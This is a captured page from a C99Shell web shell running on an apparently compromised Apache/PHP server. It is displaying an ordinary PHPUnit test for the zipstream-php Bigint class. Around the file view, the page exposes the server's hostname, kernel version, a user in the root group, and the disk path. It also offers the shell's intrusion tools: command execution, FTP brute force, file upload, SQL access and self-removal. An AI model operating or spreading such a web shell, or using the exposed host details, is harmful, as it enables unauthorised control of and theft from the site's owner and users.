!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_old/vendor/maennchen/zipstream-php/test/   drwxr-xr-x
Free 28.36 GB of 117.98 GB (24.04%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BigintTest.php (2.16 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
declare(strict_types=1);

namespace 
BigintTest;

use 
OverflowException;
use 
PHPUnit\Framework\TestCase;
use 
ZipStream\Bigint;

class 
BigintTest extends TestCase
{
    public function 
testConstruct(): void
    
{
        
$bigint = new Bigint(0x12345678);
        
$this->assertSame('0x0000000012345678'$bigint->getHex64());
        
$this->assertSame(0x12345678$bigint->getLow32());
        
$this->assertSame(0$bigint->getHigh32());
    }

    public function 
testConstructLarge(): void
    
{
        
$bigint = new Bigint(0x87654321);
        
$this->assertSame('0x0000000087654321'$bigint->getHex64());
        
$this->assertSame('87654321'bin2hex(pack('N'$bigint->getLow32())));
        
$this->assertSame(0$bigint->getHigh32());
    }

    public function 
testAddSmallValue(): void
    
{
        
$bigint = new Bigint(1);
        
$bigint $bigint->add(Bigint::init(2));
        
$this->assertSame(3$bigint->getLow32());
        
$this->assertFalse($bigint->isOver32());
        
$this->assertTrue($bigint->isOver32(true));
        
$this->assertSame($bigint->getLowFF(), (float)$bigint->getLow32());
        
$this->assertSame($bigint->getLowFF(true), (float)0xFFFFFFFF);
    }

    public function 
testAddWithOverflowAtLowestByte(): void
    
{
        
$bigint = new Bigint(0xFF);
        
$bigint $bigint->add(Bigint::init(0x01));
        
$this->assertSame(0x100$bigint->getLow32());
    }

    public function 
testAddWithOverflowAtInteger32(): void
    
{
        
$bigint = new Bigint(0xFFFFFFFE);
        
$this->assertFalse($bigint->isOver32());
        
$bigint $bigint->add(Bigint::init(0x01));
        
$this->assertTrue($bigint->isOver32());
        
$bigint $bigint->add(Bigint::init(0x01));
        
$this->assertSame('0x0000000100000000'$bigint->getHex64());
        
$this->assertTrue($bigint->isOver32());
        
$this->assertSame((float)0xFFFFFFFF$bigint->getLowFF());
    }

    public function 
testAddWithOverflowAtInteger64(): void
    
{
        
$bigint Bigint::fromLowHigh(0xFFFFFFFF0xFFFFFFFF);
        
$this->assertSame('0xFFFFFFFFFFFFFFFF'$bigint->getHex64());
        
$this->expectException(OverflowException::class);
        
$bigint->add(Bigint::init(1));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--